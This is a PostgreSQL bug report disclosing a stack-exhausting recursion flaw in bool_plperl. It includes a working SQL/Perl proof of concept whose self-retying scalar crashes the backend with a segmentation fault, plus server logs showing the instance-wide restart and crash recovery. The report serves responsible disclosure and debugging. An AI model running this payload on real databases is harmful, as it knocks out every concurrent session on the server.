BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend

Started by PG Bug reporting formabout 13 hours ago1 messagesbugs
Jump to latest
#1PG Bug reporting form
noreply@postgresql.org

The following bug has been logged on the website:

Bug reference: 19601
Logged by: Yuelin Wang
Email address: 1217816127@qq.com
PostgreSQL version: 19beta2
Operating system: Linux (Ubuntu 24.04, x86_64)
Description:

### Summary

plperl_to_bool() in bool_plperl.c calls SvTRUE(in) directly on the SV
returned by a plperl function declared to TRANSFORM FOR TYPE bool, with no
recursion depth limit. A plperl function can return a tied scalar whose
FETCH handler ties and returns a brand new tied scalar every time it is
dereferenced, causing Perl's magic-get resolution inside SvTRUE to recurse
without bound and exhaust the C stack.

CWE: CWE-674. Severity: Medium.

### PoC

```sql
CREATE EXTENSION plperl;
CREATE EXTENSION bool_plperl;
CREATE FUNCTION perl_tie_recurse() RETURNS bool
TRANSFORM FOR TYPE bool
LANGUAGE plperl
AS $perl$
package RecurTie;
our $depth = 0;
sub TIESCALAR { return bless {}, shift; }
sub FETCH { $depth++; my $x; tie $x, 'RecurTie'; return $x; }
package main;
tie my $y, 'RecurTie';
return $y;
$perl$;
SELECT perl_tie_recurse();
```

### Result

Real captured output from the independent verification run:

```
psql:/tmp/poc.sql:13: server closed the connection unexpectedly
This probably means the server terminated abnormally
before or while processing the request.
psql:/tmp/poc.sql:13: error: connection to server was lost
PSQL EXIT: 2

Server log:
LOG: client backend (PID 382422) was terminated by signal 11: Segmentation
fault
DETAIL: Failed process was running: SELECT perl_tie_recurse();
LOG: terminating any other active server processes
LOG: all server processes terminated; reinitializing
LOG: database system was interrupted; last known up at 2026-08-01 17:22:47
+08
LOG: database system was not properly shut down; automatic recovery in
progress
LOG: redo starts at 0/01790190
LOG: redo done at 0/017AEA10
LOG: checkpoint starting: end-of-recovery fast wait
LOG: checkpoint complete: end-of-recovery fast wait
LOG: database system is ready to accept connections
```

### Impact

Any database role with CREATE privilege and USAGE on the trusted plperl
language can define a bool_plperl transform function that crashes the
serving backend with SIGSEGV, forcing the postmaster to terminate and
restart every other concurrent backend on the instance and perform crash
recovery.